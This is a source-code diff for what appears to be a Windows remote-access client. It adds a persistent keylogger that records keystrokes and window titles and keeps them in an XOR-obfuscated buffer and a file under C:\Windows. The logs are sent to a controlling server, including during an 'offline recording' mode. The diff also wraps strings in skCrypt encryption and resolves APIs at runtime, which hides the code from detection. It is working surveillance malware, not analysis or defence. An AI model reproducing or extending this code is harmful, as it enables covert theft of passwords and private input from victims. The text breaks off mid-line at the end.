diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index ef94232..b7680b4 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -491,6 +491,7 @@ DWORD WINAPI StartClient(LPVOID lParam) } app.SetThreadRun(TRUE); + ThreadInfo* kb = CreateKB(&settings, bExit); while (app.m_bIsRunning(&app)) { ULONGLONG dwTickCount = GetTickCount64(); @@ -500,7 +501,7 @@ DWORD WINAPI StartClient(LPVOID lParam) continue; } SAFE_DELETE(Manager); - Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); + Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb); //准备第一波数据 LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); @@ -513,6 +514,7 @@ DWORD WINAPI StartClient(LPVOID lParam) while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) Sleep(200); } + kb->Exit(10); if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) { BOOL b = SetEvent(app.g_hEvent); Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed"); diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index ca9d026..a94e77d 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -172,6 +172,7 @@ + @@ -200,6 +201,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index 800b439..d47cfa0 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -14,6 +14,7 @@ #include "ProxyManager.h" #include "KernelManager.h" +#include #define REG_SETTINGS "Software\\ServerD11\\Settings" @@ -105,10 +106,13 @@ template DWORD WINAPI LoopManager(LPVOID lParam) ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = (IOCPClient *)pInfo->p; CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); - if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) + ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n, pInfo->user); + pInfo->user = &m; ClientObject->RunEventLoop(pInfo->run); + pInfo->user = NULL; } delete ClientObject; pInfo->p = NULL; @@ -168,6 +172,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam) DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { + iniFile cfg(CLIENT_PATH); + std::string s = cfg.GetStr("settings", "kbrecord", "No"); + if (s == "Yes") { + return LoopManager(lParam); + } return LoopManager(lParam); } diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 38e5c54..b7b30ed 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -524,7 +524,7 @@ VOID IOCPClient::Disconnect() if (m_sClientSocket == INVALID_SOCKET) return; - Mprintf("断开和服务端的连接.\n"); + Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort); CancelIo((HANDLE)m_sClientSocket); closesocket(m_sClientSocket); @@ -537,7 +537,7 @@ VOID IOCPClient::Disconnect() VOID IOCPClient::RunEventLoop(const BOOL &bCondition) { Mprintf("======> RunEventLoop begin\n"); - while (m_bIsRunning && bCondition) + while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN) Sleep(200); setManagerCallBack(NULL, NULL); Mprintf("======> RunEventLoop end\n"); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index d1cfe88..6c4ba4e 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -111,7 +111,11 @@ public: VOID Disconnect(); VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const { return m_bConnected == TRUE; } - + BOOL Reconnect(void* manager) { + Disconnect(); + if (manager) m_Manager = manager; + return ConnectServer(NULL, 0); + } public: State& g_bExit; // 全局状态量 void* m_Manager; // 用户数据 diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 611614b..21c0026 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -14,11 +14,20 @@ #include "server/2015Remote/pwd_gen.h" #include +ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { + static ThreadInfo tKeyboard; + tKeyboard.run = FOREVER_RUN; + tKeyboard.p = new IOCPClient(bExit, false); + tKeyboard.conn = conn; + tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); + return &tKeyboard; +} + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance) +CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb) : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject) { m_ulThreadCount = 0; @@ -28,6 +37,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, m_settings = { 30 }; #endif m_nNetPing = -1; + m_hKeyboard = kb; } CKernelManager::~CKernelManager() @@ -185,6 +195,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) { return 0x20250529; } +DWORD WINAPI SendKeyboardRecord(LPVOID lParam) { + CManager* pMgr = (CManager*)lParam; + if (pMgr) { + pMgr->Reconnect(); + pMgr->Notify(); + } + return 0xDead0001; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -286,8 +305,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; case COMMAND_KEYBOARD: //键盘记录 { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; + if (m_hKeyboard) { + CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); + } else { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true); + m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; + } break; } diff --git a/client/KernelManager.h b/client/KernelManager.h index 4379d9d..a46546d 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -20,6 +20,8 @@ #include #include "LoginServer.h" +ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit); + class ActivityWindow { public: std::string Check(DWORD threshold_ms = 6000) { @@ -77,10 +79,10 @@ class CKernelManager : public CManager public: CONNECT_ADDRESS* m_conn; HINSTANCE m_hInstance; - CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance); + CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb); virtual ~CKernelManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - + ThreadInfo* m_hKeyboard; ThreadInfo m_hThread[MAX_THREADNUM]; // 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常 // 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置 diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index b278a19..e19d3dc 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -2,8 +2,12 @@ // ////////////////////////////////////////////////////////////////////// +#include "Common.h" #include "KeyboardManager.h" #include + +#if ENABLE_KEYBOARD + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -11,24 +15,25 @@ #include #include #include +#include "keylogger.h" +#include -#define FILE_PATH "\\MODIf.html" #define CAPTION_SIZE 1024 -CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient) +CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient) { - sendStartKeyBoard(); - WaitForDialogOpen(); - sendOfflineRecord(); + m_bIsOfflineRecord = offline; - GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile)); - lstrcat(m_strRecordFile, FILE_PATH); + char path[MAX_PATH] = { "C:\\Windows\\" }; + GET_FILEPATH(path, skCrypt(KEYLOG_FILE)); + strcpy_s(m_strRecordFile, path); + m_Buffer = new CircularBuffer(m_strRecordFile); m_bIsWorking = true; - dKeyBoardSize = 0; m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); + SetReady(TRUE); } CKeyboardManager1::~CKeyboardManager1() @@ -38,6 +43,15 @@ CKeyboardManager1::~CKeyboardManager1() WaitForSingleObject(m_hSendThread, INFINITE); CloseHandle(m_hWorkThread); CloseHandle(m_hSendThread); + m_Buffer->WriteAvailableDataToFile(m_strRecordFile); + delete m_Buffer; +} + +void CKeyboardManager1::Notify() { + if (NULL == this) + return; + sendStartKeyBoard(); + WaitForDialogOpen(); } void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize) @@ -46,14 +60,15 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize) NotifyDialogIsOpen(); if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) { + m_bIsOfflineRecord = lpBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No"); } if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) { - DeleteFile(m_strRecordFile); - HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, - CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - CloseHandle(hFile); - dKeyBoardSize = 0; + m_Buffer->Clear(); + GET_PROCESS_EASY(DeleteFileA); + DeleteFileA(m_strRecordFile); } } @@ -61,9 +76,9 @@ int CKeyboardManager1::sendStartKeyBoard() { BYTE bToken[2]; bToken[0] = TOKEN_KEYBOARD_START; - bToken[1] = (BYTE)true; + bToken[1] = (BYTE)m_bIsOfflineRecord; - return Send((LPBYTE)&bToken[0], sizeof(bToken)); + return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken)); } @@ -71,50 +86,22 @@ int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize) { int nRet = -1; DWORD dwBytesLength = 1 + nSize; + GET_PROCESS(DLLS[KERNEL], LocalAlloc); LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength); lpBuffer[0] = TOKEN_KEYBOARD_DATA; memcpy(lpBuffer + 1, lpData, nSize); - nRet = Send((LPBYTE)lpBuffer, dwBytesLength); + nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength); + GET_PROCESS(DLLS[KERNEL], LocalFree); LocalFree(lpBuffer); return nRet; } -int CKeyboardManager1::sendOfflineRecord(DWORD dwRead) -{ - int nRet = 0; - DWORD dwSize = 0; - DWORD dwBytesRead = 0; - HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ, - NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - - if (hFile != INVALID_HANDLE_VALUE) { - dwSize = GetFileSize(hFile, NULL); - dKeyBoardSize = dwSize; - if (0 != dwRead) { - SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN); - dwSize -= dwRead; - } - - TCHAR *lpBuffer = new TCHAR[dwSize]; - ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL); - - // 解密 - for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++) - lpBuffer[i] ^= '`'; - - nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize); - delete[] lpBuffer; - } - CloseHandle(hFile); - return nRet; -} - - std::string GetKey(int Key) // 判断键盘按下什么键 { + GET_PROCESS(DLLS[USER32], GetKeyState); std::string KeyString = ""; //判断符号输入 const int KeyPressMask=0x80000000; //键盘掩码常量 @@ -124,207 +111,207 @@ std::string GetKey(int Key) // switch(Key) { case 186: if(IS) - KeyString = ":"; + KeyString = skCrypt(":"); else - KeyString = ";"; + KeyString = skCrypt(";"); break; case 187: if(IS) - KeyString = "+"; + KeyString = skCrypt("+"); else - KeyString = "="; + KeyString = skCrypt("="); break; case 188: if(IS) - KeyString = "<"; + KeyString = skCrypt("<"); else - KeyString = ","; + KeyString = skCrypt(","); break; case 189: if(IS) - KeyString = "_"; + KeyString = skCrypt("_"); else - KeyString = "-"; + KeyString = skCrypt("-"); break; case 190: if(IS) - KeyString = ">"; + KeyString = skCrypt(">"); else - KeyString = "."; + KeyString = skCrypt("."); break; case 191: if(IS) - KeyString = "?"; + KeyString = skCrypt("?"); else - KeyString = "/"; + KeyString = skCrypt("/"); break; case 192: if(IS) - KeyString = "~"; + KeyString = skCrypt("~"); else - KeyString = "`"; + KeyString = skCrypt("`"); break; case 219: if(IS) - KeyString = "{"; + KeyString = skCrypt("{"); else - KeyString = "["; + KeyString = skCrypt("["); break; case 220: if(IS) - KeyString = "|"; + KeyString = skCrypt("|"); else - KeyString = "\\"; + KeyString = skCrypt("\\"); break; case 221: if(IS) - KeyString = "}"; + KeyString = skCrypt("}"); else - KeyString = "]"; + KeyString = skCrypt("]"); break; case 222: if(IS) KeyString = '"'; else - KeyString = "'"; + KeyString = skCrypt("'"); break; } } //判断键盘的第一行 if (Key == VK_ESCAPE) // 退出 - KeyString = "[Esc]"; + KeyString = skCrypt("[Esc]"); else if (Key == VK_F1) // F1至F12 - KeyString = "[F1]"; + KeyString = skCrypt("[F1]"); else if (Key == VK_F2) - KeyString = "[F2]"; + KeyString = skCrypt("[F2]"); else if (Key == VK_F3) - KeyString = "[F3]"; + KeyString = skCrypt("[F3]"); else if (Key == VK_F4) - KeyString = "[F4]"; + KeyString = skCrypt("[F4]"); else if (Key == VK_F5) - KeyString = "[F5]"; + KeyString = skCrypt("[F5]"); else if (Key == VK_F6) - KeyString = "[F6]"; + KeyString = skCrypt("[F6]"); else if (Key == VK_F7) - KeyString = "[F7]"; + KeyString = skCrypt("[F7]"); else if (Key == VK_F8) - KeyString = "[F8]"; + KeyString = skCrypt("[F8]"); else if (Key == VK_F9) - KeyString = "[F9]"; + KeyString = skCrypt("[F9]"); else if (Key == VK_F10) - KeyString = "[F10]"; + KeyString = skCrypt("[F10]"); else if (Key == VK_F11) - KeyString = "[F11]"; + KeyString = skCrypt("[F11]"); else if (Key == VK_F12) - KeyString = "[F12]"; + KeyString = skCrypt("[F12]"); else if (Key == VK_SNAPSHOT) // 打印屏幕 - KeyString = "[PrScrn]"; + KeyString = skCrypt("[PrScrn]"); else if (Key == VK_SCROLL) // 滚动锁定 - KeyString = "[Scroll Lock]"; + KeyString = skCrypt("[Scroll Lock]"); else if (Key == VK_PAUSE) // 暂停、中断 - KeyString = "[Pause]"; + KeyString = skCrypt("[Pause]"); else if (Key == VK_CAPITAL) // 大写锁定 - KeyString = "[Caps Lock]"; + KeyString = skCrypt("[Caps Lock]"); //-------------------------------------// //控制键 else if (Key == 8) //<- 回格键 - KeyString = "[Backspace]"; + KeyString = skCrypt("[Backspace]"); else if (Key == VK_RETURN) // 回车键、换行 - KeyString = "[Enter]\n"; + KeyString = skCrypt("[Enter]\n"); else if (Key == VK_SPACE) // 空格 - KeyString = " "; + KeyString = skCrypt(" "); //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符, //上档键和别的键组合,输出时有字符输出 /* else if (Key == VK_LSHIFT) // 左侧上档键 - KeyString = "[Shift]"; + KeyString = skCrypt("[Shift]"); else if (Key == VK_LSHIFT) // 右侧上档键 - KeyString = "[SHIFT]"; + KeyString = skCrypt("[SHIFT]"); */ /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/ else if (Key == VK_TAB) // 制表键 - KeyString = "[Tab]"; + KeyString = skCrypt("[Tab]"); else if (Key == VK_LCONTROL) // 左控制键 - KeyString = "[Ctrl]"; + KeyString = skCrypt("[Ctrl]"); else if (Key == VK_RCONTROL) // 右控制键 - KeyString = "[CTRL]"; + KeyString = skCrypt("[CTRL]"); else if (Key == VK_LMENU) // 左换档键 - KeyString = "[Alt]"; + KeyString = skCrypt("[Alt]"); else if (Key == VK_LMENU) // 右换档键 - KeyString = "[ALT]"; + KeyString = skCrypt("[ALT]"); else if (Key == VK_LWIN) // 右 WINDOWS 键 - KeyString = "[Win]"; + KeyString = skCrypt("[Win]"); else if (Key == VK_RWIN) // 右 WINDOWS 键 - KeyString = "[WIN]"; + KeyString = skCrypt("[WIN]"); else if (Key == VK_APPS) // 键盘上 右键 - KeyString = "右键"; + KeyString = skCrypt("右键"); else if (Key == VK_INSERT) // 插入 - KeyString = "[Insert]"; + KeyString = skCrypt("[Insert]"); else if (Key == VK_DELETE) // 删除 - KeyString = "[Delete]"; + KeyString = skCrypt("[Delete]"); else if (Key == VK_HOME) // 起始 - KeyString = "[Home]"; + KeyString = skCrypt("[Home]"); else if (Key == VK_END) // 结束 - KeyString = "[End]"; + KeyString = skCrypt("[End]"); else if (Key == VK_PRIOR) // 上一页 - KeyString = "[PgUp]"; + KeyString = skCrypt("[PgUp]"); else if (Key == VK_NEXT) // 下一页 - KeyString = "[PgDown]"; + KeyString = skCrypt("[PgDown]"); // 不常用的几个键:一般键盘没有 else if (Key == VK_CANCEL) // Cancel - KeyString = "[Cancel]"; + KeyString = skCrypt("[Cancel]"); else if (Key == VK_CLEAR) // Clear - KeyString = "[Clear]"; + KeyString = skCrypt("[Clear]"); else if (Key == VK_SELECT) //Select - KeyString = "[Select]"; + KeyString = skCrypt("[Select]"); else if (Key == VK_PRINT) //Print - KeyString = "[Print]"; + KeyString = skCrypt("[Print]"); else if (Key == VK_EXECUTE) //Execute - KeyString = "[Execute]"; + KeyString = skCrypt("[Execute]"); //----------------------------------------// else if (Key == VK_LEFT) //上、下、左、右键 - KeyString = "[←]"; + KeyString = skCrypt("[←]"); else if (Key == VK_RIGHT) - KeyString = "[→]"; + KeyString = skCrypt("[→]"); else if (Key == VK_UP) - KeyString = "[↑]"; + KeyString = skCrypt("[↑]"); else if (Key == VK_DOWN) - KeyString = "[↓]"; + KeyString = skCrypt("[↓]"); else if (Key == VK_NUMLOCK)//小键盘数码锁定 - KeyString = "[NumLock]"; + KeyString = skCrypt("[NumLock]"); else if (Key == VK_ADD) // 加、减、乘、除 - KeyString = "+"; + KeyString = skCrypt("+"); else if (Key == VK_SUBTRACT) - KeyString = "-"; + KeyString = skCrypt("-"); else if (Key == VK_MULTIPLY) - KeyString = "*"; + KeyString = skCrypt("*"); else if (Key == VK_DIVIDE) - KeyString = "/"; + KeyString = skCrypt("/"); else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 . - KeyString = "."; + KeyString = skCrypt("."); //小键盘数字键:0-9 else if (Key == VK_NUMPAD0) - KeyString = "0"; + KeyString = skCrypt("0"); else if (Key == VK_NUMPAD1) - KeyString = "1"; + KeyString = skCrypt("1"); else if (Key == VK_NUMPAD2) - KeyString = "2"; + KeyString = skCrypt("2"); else if (Key == VK_NUMPAD3) - KeyString = "3"; + KeyString = skCrypt("3"); else if (Key == VK_NUMPAD4) - KeyString = "4"; + KeyString = skCrypt("4"); else if (Key == VK_NUMPAD5) - KeyString = "5"; + KeyString = skCrypt("5"); else if (Key == VK_NUMPAD6) - KeyString = "6"; + KeyString = skCrypt("6"); else if (Key == VK_NUMPAD7) - KeyString = "7"; + KeyString = skCrypt("7"); else if (Key == VK_NUMPAD8) - KeyString = "8"; + KeyString = skCrypt("8"); else if (Key == VK_NUMPAD9) - KeyString = "9"; + KeyString = skCrypt("9"); //-------------------------------------------// //-------------------------------------------// @@ -345,34 +332,34 @@ std::string GetKey(int Key) // if(IS) { switch(Key) { case 48: //0 - KeyString = ")"; + KeyString = skCrypt(")"); break; case 49://1 - KeyString = "!"; + KeyString = skCrypt("!"); break; case 50://2 - KeyString = "@"; + KeyString = skCrypt("@"); break; case 51://3 - KeyString = "#"; + KeyString = skCrypt("#"); break; case 52://4 - KeyString = "$"; + KeyString = skCrypt("$"); break; case 53://5 - KeyString = "%"; + KeyString = skCrypt("%"); break; case 54://6 - KeyString = "^"; + KeyString = skCrypt("^"); break; case 55://7 - KeyString = "&"; + KeyString = skCrypt("&"); break; case 56://8 - KeyString = "*"; + KeyString = skCrypt("*"); break; case 57://9 - KeyString = "("; + KeyString = skCrypt("("); break; } } else @@ -399,45 +386,24 @@ std::string GetKey(int Key) // return KeyString; } -void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer) -{ - HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, - NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - - DWORD dwBytesWrite = 0; - DWORD dwSize = GetFileSize(hFile, NULL); - if (dwSize < 1024 * 1024 * 50) - SetFilePointer(hFile, 0, 0, FILE_END); - - - // 加密 - int nLength = lstrlen(lpBuffer); - TCHAR* lpEncodeBuffer = new TCHAR[nLength]; - for (int i = 0; i < nLength; i++) - lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`'); - WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL); - CloseHandle(hFile); - - delete [] lpEncodeBuffer; - return; -} - BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData) { - HWND hFocus = GetForegroundWindow(); + GET_PROCESS(DLLS[USER32], GetForegroundWindow); + HWND hFocus = (HWND)GetForegroundWindow(); BOOL ReturnFlag = FALSE; if (hFocus != PreviousFocus) { if (lstrlen(WindowCaption) > 0) { if (hasData) { SYSTEMTIME s; GetLocalTime(&s); - wsprintf(szText, _T("\r\n[标题:] %s\r\n[时间:]%d-%02d-%02d %02d:%02d:%02d\r\n"), + sprintf(szText, _T("\r\n[标题:] %s\r\n[时间:]%d-%02d-%02d %02d:%02d:%02d\r\n"), WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond); } memset(WindowCaption, 0, CAPTION_SIZE); ReturnFlag=TRUE; } PreviousFocus = hFocus; + GET_PROCESS_EASY(SendMessageA); SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption); } return ReturnFlag; @@ -447,35 +413,56 @@ DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam) { CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam; + int pos = 0; while(pThis->m_bIsWorking) { - DWORD dwSize =0; - HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ, - NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - - if (hFile != INVALID_HANDLE_VALUE) { - dwSize = GetFileSize(hFile, NULL); + if (!pThis->IsConnected()) { + pos = 0; + Sleep(1000); + continue; } - CloseHandle(hFile); - - if (pThis->dKeyBoardSize != dwSize) { - pThis->sendOfflineRecord(pThis->dKeyBoardSize); + int size = 0; + char* lpBuffer = pThis->m_Buffer->Read(pos, size); + if (size) { + int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size); + delete[] lpBuffer; } - - Sleep(3000); + Sleep(1000); } return 0; } + +int CALLBACK WriteBuffer(const char* record, void* user) { + CircularBuffer* m_Buffer = (CircularBuffer*)user; + m_Buffer->Write(record, strlen(record)); + return 0; +} + + DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) { CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam; - + MSG msg; TCHAR KeyBuffer[2048] = {}; TCHAR szText[CAPTION_SIZE] = {}; TCHAR WindowCaption[CAPTION_SIZE] = {}; HWND PreviousFocus = NULL; + GET_PROCESS(DLLS[USER32], GetAsyncKeyState); while(pThis->m_bIsWorking) { + if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) { +#if USING_KB_HOOK + ReleaseHook(); +#endif + Sleep(1000); + continue; + } Sleep(5); +#if USING_KB_HOOK + if (!SetHook(WriteBuffer, pThis->m_Buffer)) { + return -1; + } + while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)); +#else int num = lstrlen(KeyBuffer); if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) { bool newWindowInput = strlen(szText); @@ -489,7 +476,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) const int offset = sizeof(_T("\r\n[内容:]")) - 1; memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer)); memcpy(KeyBuffer, _T("\r\n[内容:]"), offset); - SaveToFile(pThis->m_strRecordFile, KeyBuffer); + pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer)); memset(KeyBuffer,0,sizeof(KeyBuffer)); } } @@ -499,6 +486,9 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) lstrcat(KeyBuffer,TempString.c_str()); } } +#endif } return 0; } + +#endif diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index 751d65f..ded9128 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -2,34 +2,239 @@ // ////////////////////////////////////////////////////////////////////// -#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_) -#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_ - -#if _MSC_VER > 1000 #pragma once -#endif // _MSC_VER > 1000 -#include "..\Manager.h" +#include "Manager.h" +#include "stdafx.h" + +#define KEYLOG_FILE "keylog.xml" + +#if ENABLE_KEYBOARD==0 +#define CKeyboardManager1 CManager + +#else + +#define BUFFER_SIZE 10*1024*1024 + +// 循环缓存 +class CircularBuffer { +private: + char* m_buffer; // 缓冲区 + int m_size; // 缓冲区大小 + int m_write; // 写指针 + int m_read; // 读指针 + CRITICAL_SECTION m_cs; // 线程同步 + char m_key; // 用于 XOR 加解密的密钥 + +public: + // 构造函数:从文件加载数据 + CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`') + : m_size(size), m_write(0), m_read(0), m_key(key) { + m_buffer = new char[m_size](); + InitializeCriticalSection(&m_cs); + LoadDataFromFile(filename); + } + + // 析构函数:清理资源 + ~CircularBuffer() { + DeleteCriticalSection(&m_cs); + delete[] m_buffer; + } + + // 清空缓存 + void Clear() { + EnterCriticalSection(&m_cs); + + // 重置读写指针 + m_write = 0; + m_read = 0; + memset(m_buffer, 0, m_size); + + LeaveCriticalSection(&m_cs); + } + + // 加密/解密操作(XOR) + void XORData(char* data, int length) { + for (int i = 0; i < length; i++) { + data[i] ^= m_key; // 用密钥进行 XOR 操作 + } + } + + // 从文件加载数据到缓冲区 + bool LoadDataFromFile(const std::string& filename) { + EnterCriticalSection(&m_cs); + + // 打开文件 + HANDLE hFile = CreateFileA( + filename.c_str(), // 文件路径 + GENERIC_READ, // 只读权限 + 0, // 不共享 + NULL, // 默认安全属性 + OPEN_EXISTING, // 文件必须存在 + FILE_ATTRIBUTE_NORMAL, // 常规文件属性 + NULL // 不需要模板文件 + ); + + if (hFile == INVALID_HANDLE_VALUE) { + LeaveCriticalSection(&m_cs); + Mprintf("Failed to open file '%s' for reading\n", filename.c_str()); + return false; + } + + // 读取文件数据 + DWORD bytesRead = 0; + while (m_write < m_size) { + if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) { + break; + } + XORData(m_buffer + m_write, bytesRead); // 解密数据 + m_write = (m_write + bytesRead) % m_size; + } + + // 关闭文件句柄 + CloseHandle(hFile); + + LeaveCriticalSection(&m_cs); + return true; + } + + // 写入数据(如果缓冲区满了,从头部覆盖写入) + int Write(const char* data, int length) { + EnterCriticalSection(&m_cs); + + for (int i = 0; i < length; i++) { + m_buffer[m_write] = data[i]; + m_write = (m_write + 1) % m_size; + + // 当写指针追上读指针时,前移读指针实现覆盖写入 + if (m_write == m_read) { + m_read = (m_read + 1) % m_size; + } + } + + LeaveCriticalSection(&m_cs); + return length; // 返回实际写入的字节数 + } + + // 从指定位置开始读取数据 + char* Read(int &pos, int &bytesRead) { + EnterCriticalSection(&m_cs); + + if (pos == 0) { + m_read = m_write + 1; + while (m_read < m_size && m_buffer[m_read] == 0) m_read++; + if (m_read == m_size) m_read = 0; + } else { + m_read = pos; + } + int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); + char* outBuffer = size ? new char[size] : NULL; + for (int i = 0; i < size; i++) { + if (m_read == m_write) { // 缓冲区为空 + break; + } + outBuffer[i] = m_buffer[m_read]; + m_read = (m_read + 1) % m_size; + bytesRead++; + } + pos = m_write; + + LeaveCriticalSection(&m_cs); + return outBuffer; // 返回实际读取的字节数 + } + + // 将缓存中所有数据写入文件(加密) + bool WriteAvailableDataToFile(const std::string& filename) { + EnterCriticalSection(&m_cs); + + // 获取所有数据的大小 + m_read = m_write + 1; + while (m_read < m_size && m_buffer[m_read] == 0) m_read++; + if (m_read == m_size) m_read = 0; + int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); + + if (totalSize == 0) { + LeaveCriticalSection(&m_cs); + return true; // 没有数据可写入 + } + + // 打开文件以进行写入 + HANDLE hFile = 